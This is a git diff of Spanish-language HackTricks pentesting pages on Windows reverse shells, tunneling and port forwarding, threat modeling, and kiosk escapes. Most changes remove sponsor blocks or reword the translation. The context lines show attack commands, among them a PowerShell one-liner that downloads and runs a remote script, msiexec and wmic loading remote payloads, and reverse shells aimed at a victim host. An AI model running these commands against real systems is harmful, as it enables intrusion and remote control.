- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -356,7 +342,7 @@ Aprende y practica Hacking en GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/windows.md b/generic-methodologies-and-resources/reverse-shells/windows.md index 5cd05f7f2..94e57b64c 100644 --- a/generic-methodologies-and-resources/reverse-shells/windows.md +++ b/generic-methodologies-and-resources/reverse-shells/windows.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Lolbas La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para Linux.\ @@ -47,7 +39,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable de Netcat. +**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable para Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -334,7 +326,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ```bash wmic os get /format:"https://webserver/payload.xsl" ``` -Ejemplo de archivo xsl [desde aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): +Ejemplo de archivo xsl [de aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml @@ -403,7 +395,7 @@ En la carpeta **Shells**, hay muchas shells diferentes. Para descargar y ejecuta ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -Inicie el servidor web para servir el script y ejecútelo en el extremo de la víctima: +Comience a servir el script en un servidor web y ejecútelo en el extremo de la víctima: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` @@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) consola PS con algunos módulo * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -​ -**Try Hard Security Group** -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index afc530c16..a177e6a12 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -1,76 +1,62 @@ # Modelado de Amenazas -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**. - -El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - ## Modelado de Amenazas -¡Bienvenido a la guía completa de HackTricks sobre el Modelado de Amenazas! Embárcate en una exploración de este aspecto crítico de la ciberseguridad, donde identificamos, entendemos y diseñamos estrategias contra posibles vulnerabilidades en un sistema. Este hilo sirve como una guía paso a paso repleta de ejemplos del mundo real, software útil y explicaciones fáciles de entender. Ideal tanto para principiantes como para profesionales experimentados que buscan fortalecer sus defensas de ciberseguridad. +¡Bienvenido a la guía completa de HackTricks sobre el Modelado de Amenazas! Emprende una exploración de este aspecto crítico de la ciberseguridad, donde identificamos, entendemos y diseñamos estrategias contra posibles vulnerabilidades en un sistema. Este hilo sirve como una guía paso a paso repleta de ejemplos del mundo real, software útil y explicaciones fáciles de entender. Ideal tanto para novatos como para profesionales experimentados que buscan fortalecer sus defensas de ciberseguridad. -### Escenarios Comúnmente Utilizados +### Escenarios Comúnmente Usados -1. **Desarrollo de Software**: Como parte del Ciclo de Vida de Desarrollo de Software Seguro (SSDLC), el modelado de amenazas ayuda a **identificar posibles fuentes de vulnerabilidades** en las primeras etapas de desarrollo. -2. **Pruebas de Penetración**: El marco de Ejecución Estándar de Pruebas de Penetración (PTES) requiere el **modelado de amenazas para entender las vulnerabilidades del sistema** antes de llevar a cabo la prueba. +1. **Desarrollo de Software**: Como parte del Ciclo de Vida de Desarrollo de Software Seguro (SSDLC), el modelado de amenazas ayuda a **identificar posibles fuentes de vulnerabilidades** en las primeras etapas del desarrollo. +2. **Pruebas de Penetración**: El estándar de ejecución de pruebas de penetración (PTES) requiere **modelado de amenazas para entender las vulnerabilidades del sistema** antes de llevar a cabo la prueba. ### Modelo de Amenazas en Resumen Un Modelo de Amenazas se representa típicamente como un diagrama, imagen u otra forma de ilustración visual que muestra la arquitectura planificada o la construcción existente de una aplicación. Se asemeja a un **diagrama de flujo de datos**, pero la distinción clave radica en su diseño orientado a la seguridad. -Los modelos de amenazas a menudo presentan elementos marcados en rojo, simbolizando posibles vulnerabilidades, riesgos o barreras. Para agilizar el proceso de identificación de riesgos, se emplea la tríada CIA (Confidencialidad, Integridad, Disponibilidad), que forma la base de muchas metodologías de modelado de amenazas, siendo STRIDE una de las más comunes. Sin embargo, la metodología elegida puede variar según el contexto y los requisitos específicos. +Los modelos de amenazas a menudo presentan elementos marcados en rojo, simbolizando posibles vulnerabilidades, riesgos o barreras. Para agilizar el proceso de identificación de riesgos, se emplea el triángulo CIA (Confidencialidad, Integridad, Disponibilidad), que forma la base de muchas metodologías de modelado de amenazas, siendo STRIDE una de las más comunes. Sin embargo, la metodología elegida puede variar según el contexto y los requisitos específicos. -### La Tríada CIA +### El Triángulo CIA -La Tríada CIA es un modelo ampliamente reconocido en el campo de la seguridad de la información, que representa Confidencialidad, Integridad y Disponibilidad. Estos tres pilares forman la base sobre la cual se construyen muchas medidas de seguridad y políticas, incluidas las metodologías de modelado de amenazas. +El Triángulo CIA es un modelo ampliamente reconocido en el campo de la seguridad de la información, que representa Confidencialidad, Integridad y Disponibilidad. Estos tres pilares forman la base sobre la cual se construyen muchas medidas y políticas de seguridad, incluidas las metodologías de modelado de amenazas. -1. **Confidencialidad**: Asegurar que los datos o el sistema no sean accedidos por individuos no autorizados. Este es un aspecto central de la seguridad, que requiere controles de acceso apropiados, cifrado y otras medidas para prevenir brechas de datos. -2. **Integridad**: La precisión, consistencia y confiabilidad de los datos a lo largo de su ciclo de vida. Este principio garantiza que los datos no sean alterados o manipulados por partes no autorizadas. A menudo implica sumas de verificación, hash y otros métodos de verificación de datos. -3. **Disponibilidad**: Garantiza que los datos y servicios sean accesibles para los usuarios autorizados cuando sea necesario. Esto a menudo implica redundancia, tolerancia a fallos y configuraciones de alta disponibilidad para mantener los sistemas en funcionamiento incluso ante interrupciones. +1. **Confidencialidad**: Asegurar que los datos o el sistema no sean accedidos por individuos no autorizados. Este es un aspecto central de la seguridad, que requiere controles de acceso apropiados, cifrado y otras medidas para prevenir filtraciones de datos. +2. **Integridad**: La precisión, consistencia y confiabilidad de los datos a lo largo de su ciclo de vida. Este principio asegura que los datos no sean alterados o manipulados por partes no autorizadas. A menudo implica sumas de verificación, hashing y otros métodos de verificación de datos. +3. **Disponibilidad**: Esto asegura que los datos y servicios sean accesibles para los usuarios autorizados cuando sea necesario. Esto a menudo implica redundancia, tolerancia a fallos y configuraciones de alta disponibilidad para mantener los sistemas en funcionamiento incluso frente a interrupciones. ### Metodologías de Modelado de Amenazas -1. **STRIDE**: Desarrollado por Microsoft, STRIDE es un acrónimo de **Suplantación, Manipulación, Repudio, Divulgación de Información, Denegación de Servicio y Elevación de Privilegios**. Cada categoría representa un tipo de amenaza, y esta metodología se utiliza comúnmente en la fase de diseño de un programa o sistema para identificar posibles amenazas. -2. **DREAD**: Esta es otra metodología de Microsoft utilizada para la evaluación de riesgos de amenazas identificadas. DREAD significa **Potencial de Daño, Reproducibilidad, Explotabilidad, Usuarios Afectados y Descubribilidad**. Cada uno de estos factores se puntúa y el resultado se utiliza para priorizar las amenazas identificadas. -3. **PASTA** (Proceso para Simulación de Ataques y Análisis de Amenazas): Esta es una metodología de siete pasos, centrada en el **riesgo**. Incluye definir e identificar objetivos de seguridad, crear un alcance técnico, descomposición de la aplicación, análisis de amenazas, análisis de vulnerabilidades y evaluación de riesgos/triage. -4. **Trike**: Esta es una metodología basada en el riesgo que se centra en defender activos. Parte de una perspectiva de **gestión de riesgos** y examina amenazas y vulnerabilidades en ese contexto. -5. **VAST** (Modelado de Amenazas Visual, Ágil y Simple): Este enfoque tiene como objetivo ser más accesible e integrarse en entornos de desarrollo ágil. Combina elementos de otras metodologías y se centra en **representaciones visuales de amenazas**. -6. **OCTAVE** (Evaluación de Amenazas, Activos y Vulnerabilidades Críticas Operativamente): Desarrollado por el CERT Coordination Center, este marco está orientado a la **evaluación de riesgos organizacionales en lugar de sistemas o software específicos**. +1. **STRIDE**: Desarrollado por Microsoft, STRIDE es un acrónimo de **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Cada categoría representa un tipo de amenaza, y esta metodología se utiliza comúnmente en la fase de diseño de un programa o sistema para identificar amenazas potenciales. +2. **DREAD**: Esta es otra metodología de Microsoft utilizada para la evaluación de riesgos de amenazas identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada uno de estos factores se puntúa, y el resultado se utiliza para priorizar las amenazas identificadas. +3. **PASTA** (Proceso para Simulación de Ataques y Análisis de Amenazas): Esta es una metodología de siete pasos, **centrada en el riesgo**. Incluye la definición e identificación de objetivos de seguridad, la creación de un alcance técnico, la descomposición de la aplicación, el análisis de amenazas, el análisis de vulnerabilidades y la evaluación de riesgos/triage. +4. **Trike**: Esta es una metodología basada en riesgos que se centra en defender activos. Comienza desde una perspectiva de **gestión de riesgos** y examina amenazas y vulnerabilidades en ese contexto. +5. **VAST** (Modelado de Amenazas Visual, Ágil y Simple): Este enfoque busca ser más accesible e integrarse en entornos de desarrollo ágil. Combina elementos de las otras metodologías y se centra en **representaciones visuales de amenazas**. +6. **OCTAVE** (Evaluación de Amenazas, Activos y Vulnerabilidades Críticos Operacionales): Desarrollado por el Centro de Coordinación CERT, este marco está orientado hacia **la evaluación de riesgos organizacionales en lugar de sistemas o software específicos**. ## Herramientas -Existen varias herramientas y soluciones de software disponibles que pueden **ayudar** en la creación y gestión de modelos de amenazas. Aquí tienes algunas que podrías considerar. +Hay varias herramientas y soluciones de software disponibles que pueden **asistir** en la creación y gestión de modelos de amenazas. Aquí hay algunas que podrías considerar. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -Una avanzada araña/crawler web GUI multiplataforma con múltiples funciones para profesionales de ciberseguridad. Spider Suite se puede utilizar para mapear y analizar la superficie de ataque. +Una avanzada GUI de múltiples características y multiplataforma para profesionales de ciberseguridad. Spider Suite se puede utilizar para el mapeo y análisis de la superficie de ataque. **Uso** -1. Selecciona una URL y Explora +1. Elige una URL y rastrea
-2. Visualiza el Gráfico +2. Ver gráfico
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -Un proyecto de código abierto de OWASP, Threat Dragon es una aplicación web y de escritorio que incluye diagramación de sistemas y un motor de reglas para generar automáticamente amenazas/mitigaciones. +Un proyecto de código abierto de OWASP, Threat Dragon es tanto una aplicación web como de escritorio que incluye diagramación de sistemas así como un motor de reglas para generar automáticamente amenazas/mitigaciones. **Uso** -1. Crear Nuevo Proyecto +1. Crear nuevo proyecto
@@ -78,29 +64,29 @@ A veces podría verse así:
-2. Iniciar Nuevo Proyecto +2. Lanzar nuevo proyecto
-3. Guardar el Nuevo Proyecto +3. Guardar el nuevo proyecto
4. Crea tu modelo -Puedes usar herramientas como SpiderSuite Crawler para inspirarte, un modelo básico se vería algo así +Puedes usar herramientas como SpiderSuite Crawler para inspirarte, un modelo básico podría verse algo así
Solo un poco de explicación sobre las entidades: -* Proceso (La entidad en sí misma como un servidor web o funcionalidad web) +* Proceso (La entidad misma como un servidor web o funcionalidad web) * Actor (Una persona como un visitante del sitio web, usuario o administrador) -* Línea de Flujo de Datos (Indicador de Interacción) -* Límite de Confianza (Diferentes segmentos de red o alcances.) +* Línea de flujo de datos (Indicador de interacción) +* Frontera de confianza (Diferentes segmentos o ámbitos de red.) * Almacenar (Cosas donde se almacenan los datos, como bases de datos) -5. Crear una Amenaza (Paso 1) +5. Crear una amenaza (Paso 1) Primero debes elegir la capa a la que deseas agregar una amenaza @@ -110,27 +96,16 @@ Ahora puedes crear la amenaza
-Ten en cuenta que hay una diferencia entre Amenazas de Actores y Amenazas de Procesos. Si agregaras una amenaza a un Actor, solo podrás elegir "Suplantación" y "Repudio". Sin embargo, en nuestro ejemplo agregamos una amenaza a una entidad de Proceso, por lo que veremos esto en el cuadro de creación de amenazas: +Ten en cuenta que hay una diferencia entre amenazas de Actor y amenazas de Proceso. Si agregaras una amenaza a un Actor, solo podrás elegir "Spoofing" y "Repudiation". Sin embargo, en nuestro ejemplo, agregamos una amenaza a una entidad de Proceso, por lo que veremos esto en el cuadro de creación de amenazas:
6. Listo -Ahora tu modelo terminado debería verse algo así. Y así es como se crea un modelo de amenazas simple con OWASP Threat Dragon. +Ahora tu modelo terminado debería verse algo así. Y así es como haces un modelo de amenaza simple con OWASP Threat Dragon.
-### [Herramienta de modelado de amenazas de Microsoft](https://aka.ms/threatmodelingtool) -Esta es una herramienta gratuita de Microsoft que ayuda a encontrar amenazas en la fase de diseño de proyectos de software. Utiliza la metodología STRIDE y es particularmente adecuada para aquellos que desarrollan en la plataforma de Microsoft. +### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**. - -Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} +Esta es una herramienta gratuita de Microsoft que ayuda a encontrar amenazas en la fase de diseño de proyectos de software. Utiliza la metodología STRIDE y es particularmente adecuada para aquellos que desarrollan en la pila de Microsoft. diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index 3514acdce..d39827c3d 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -15,18 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Nmap tip {% hint style="warning" %} -**ICMP** y **SYN** scans no pueden ser tunelizados a través de proxies socks, por lo que debemos **deshabilitar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione. +**ICMP** y **SYN** scans no pueden ser tunelizados a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione. {% endhint %} ## **Bash** @@ -175,9 +167,9 @@ rportfwd stop [bind port] ``` Para tener en cuenta: -- La reversa de puerto de Beacon está diseñada para **túnel tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**. -- El tráfico es **tuneado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P. -- **No se requieren privilegios de administrador** para crear reenvíos de puerto reversos en puertos altos. +- La reversa de puerto de Beacon está diseñada para **túnelizar tráfico al Servidor del Equipo, no para relajar entre máquinas individuales**. +- El tráfico es **túnelizado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P. +- **No se requieren privilegios de administrador** para crear reenvíos de puerto reverso en puertos altos. ### rPort2Port local @@ -302,7 +294,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Es como una versión de consola de PuTTY (las opciones son muy similares a un cliente ssh). +Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh). Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio y puerto ssh para que podamos tener una conexión inversa. Luego, para redirigir solo un puerto accesible localmente a un puerto en nuestra máquina: ```bash @@ -336,7 +328,7 @@ En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así: # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Ahora podemos **conectar** con la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y escuchará en **127.0.0.1:1080**. +Ahora podemos **conectar** con la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y que **escuchará** en **127.0.0.1:1080**. **Conéctese** a través de **RDP** y suba y ejecute en la máquina de la víctima el binario `SocksOverRDP-Server.exe`: ``` @@ -387,7 +379,7 @@ Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Se necesita root en ambos sistemas para crear adaptadores tun y túnel datos entre ellos utilizando consultas DNS. +Se necesita root en ambos sistemas para crear adaptadores tun y túnel de datos entre ellos utilizando consultas DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -424,7 +416,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Cambiar DNS de proxychains -Proxychains intercepta la llamada `gethostbyname` de libc y canaliza la solicitud DNS tcp a través del proxy socks. Por **defecto**, el servidor **DNS** que utiliza proxychains es **4.2.2.2** (codificado). Para cambiarlo, edita el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambia la IP. Si estás en un **entorno de Windows**, podrías establecer la IP del **controlador de dominio**. +Proxychains intercepta la llamada `gethostbyname` de libc y canaliza la solicitud de DNS tcp a través del proxy socks. Por **defecto**, el servidor **DNS** que utiliza proxychains es **4.2.2.2** (codificado). Para cambiarlo, edita el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambia la IP. Si estás en un **entorno de Windows**, podrías establecer la IP del **controlador de dominio**. ## Túneles en Go @@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/ * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index e23af0d38..a6e8c0906 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -1,4 +1,4 @@ -# Escapando de los KIOSKs +# Escapando de KIOSKs {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -10,38 +10,28 @@ Aprende y practica Hacking en GCP: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} --- ## Verificar dispositivo físico | Componente | Acción | -| ------------- | -------------------------------------------------------------------- | -| Botón de encendido | Apagar y encender el dispositivo nuevamente puede exponer la pantalla de inicio | -| Cable de alimentación | Verificar si el dispositivo se reinicia cuando se corta brevemente la energía | -| Puertos USB | Conectar un teclado físico con más accesos directos | +| -------------- | -------------------------------------------------------------------- | +| Botón de encendido | Apagar y encender el dispositivo puede exponer la pantalla de inicio | +| Cable de alimentación | Verificar si el dispositivo se reinicia cuando se corta brevemente la alimentación | +| Puertos USB | Conectar un teclado físico con más atajos | | Ethernet | Un escaneo de red o sniffing puede permitir una mayor explotación | ## Verificar posibles acciones dentro de la aplicación GUI -Los **Diálogos Comunes** son esas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a funcionalidades de Explorador si puedes acceder a estas opciones: +**Diálogos Comunes** son aquellas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a las funcionalidades del Explorador si puedes acceder a estas opciones: * Cerrar/Cerrar como * Abrir/Abrir con @@ -54,16 +44,16 @@ Deberías verificar si puedes: * Modificar o crear nuevos archivos * Crear enlaces simbólicos -* Acceder a áreas restringidas +* Obtener acceso a áreas restringidas * Ejecutar otras aplicaciones ### Ejecución de Comandos -Tal vez **usando la opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell. +Quizás **usando una opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell. #### Windows -Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que se pueden usar para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que pueden ser usados para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ @@ -71,14 +61,14 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi ## Windows -### Saltando restricciones de ruta +### Eludir restricciones de ruta * **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta * **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **Enlaces simbólicos** -* **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Diálogo de Archivo/Abrir), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar como) -* Menú Administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9 -* **URIs de Shell**: _shell:Herramientas Administrativas, shell:Bibliotecas de Documentos, shell:Bibliotecas, shell:Perfiles de Usuario, shell:Personal, shell:Carpeta de Inicio de Búsqueda, shell:Sistemas de Red, shell:Enviar a, shell:Perfiles de Usuarios, shell:Herramientas Administrativas Comunes, shell:Mi PC, shell:Carpeta de Internet_ +* **Atajos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Archivo/Abrir Diálogo), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar como) +* Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9 +* **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ * **Rutas UNC**: Rutas para conectarse a carpetas compartidas. Deberías intentar conectarte al C$ de la máquina local ("\\\127.0.0.1\c$\Windows\System32") * **Más rutas UNC:** @@ -94,7 +84,7 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | -### Descarga tus Binarios +### Descarga tus binarios Consola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ Explorador: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ @@ -111,29 +101,30 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour | C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | | %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | | %HOMEDRIVE% | %HOMESHARE | |


| + ### Atajos -* Sticky Keys – Presiona SHIFT 5 veces -* Mouse Keys – SHIFT+ALT+BLOQ NUM -* Alto Contraste – SHIFT+ALT+IMPR PANT -* Teclas de Alternancia – Mantén presionado BLOQ NUM por 5 segundos -* Teclas de Filtro – Mantén presionado el SHIFT derecho por 12 segundos +* Teclas adhesivas – Presiona SHIFT 5 veces +* Teclas de mouse – SHIFT+ALT+NUMLOCK +* Alto contraste – SHIFT+ALT+PRINTSCN +* Teclas de alternancia – Mantén NUMLOCK durante 5 segundos +* Teclas de filtro – Mantén SHIFT derecho durante 12 segundos * WINDOWS+F1 – Búsqueda de Windows -* WINDOWS+D – Mostrar Escritorio -* WINDOWS+E – Abrir Explorador de Windows +* WINDOWS+D – Mostrar escritorio +* WINDOWS+E – Lanzar el explorador de Windows * WINDOWS+R – Ejecutar -* WINDOWS+U – Centro de Accesibilidad -* WINDOWS+F – Búsqueda -* SHIFT+F10 – Menú Contextual -* CTRL+SHIFT+ESC – Administrador de Tareas +* WINDOWS+U – Centro de accesibilidad +* WINDOWS+F – Buscar +* SHIFT+F10 – Menú contextual +* CTRL+SHIFT+ESC – Administrador de tareas * CTRL+ALT+DEL – Pantalla de inicio en versiones más nuevas de Windows -* F1 – Ayuda F3 – Búsqueda -* F6 – Barra de Direcciones -* F11 – Alternar pantalla completa en Internet Explorer +* F1 – Ayuda F3 – Buscar +* F6 – Barra de direcciones +* F11 – Alternar pantalla completa dentro de Internet Explorer * CTRL+H – Historial de Internet Explorer -* CTRL+T – Internet Explorer – Nueva Pestaña -* CTRL+N – Internet Explorer – Nueva Página -* CTRL+O – Abrir Archivo +* CTRL+T – Internet Explorer – Nueva pestaña +* CTRL+N – Internet Explorer – Nueva página +* CTRL+O – Abrir archivo * CTRL+S – Guardar CTRL+N – Nueva RDP / Citrix ### Deslizamientos @@ -145,153 +136,154 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour ### Trucos de Internet Explorer -#### 'Barra de Imagen' +#### 'Barra de herramientas de imagen' -Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic en ella. Podrás Guardar, Imprimir, Enviar por correo electrónico, Abrir "Mis Imágenes" en el Explorador. El Kiosko debe estar utilizando Internet Explorer. +Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic. Podrás Guardar, Imprimir, Mailto, Abrir "Mis Imágenes" en el Explorador. El Kiosk necesita estar usando Internet Explorer. #### Protocolo Shell Escribe estas URL para obtener una vista de Explorador: -* `shell:Herramientas Administrativas` -* `shell:BibliotecaDocumentos` -* `shell:Bibliotecas` -* `shell:PerfilesUsuarios` +* `shell:Administrative Tools` +* `shell:DocumentsLibrary` +* `shell:Libraries` +* `shell:UserProfiles` * `shell:Personal` -* `shell:CarpetaInicioBusqueda` -* `shell:CarpetaLugaresRed` -* `shell:EnviarA` -* `shell:PerfilesUsuarios` -* `shell:HerramientasAdministrativasComunes` -* `shell:MiPC` -* `shell:Internet` -* `Shell:Perfil` -* `Shell:ArchivosPrograma` -* `Shell:Sistema` -* `Shell:PanelControl` +* `shell:SearchHomeFolder` +* `shell:NetworkPlacesFolder` +* `shell:SendTo` +* `shell:UserProfiles` +* `shell:Common Administrative Tools` +* `shell:MyComputerFolder` +* `shell:InternetFolder` +* `Shell:Profile` +* `Shell:ProgramFiles` +* `Shell:System` +* `Shell:ControlPanelFolder` * `Shell:Windows` * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panel de 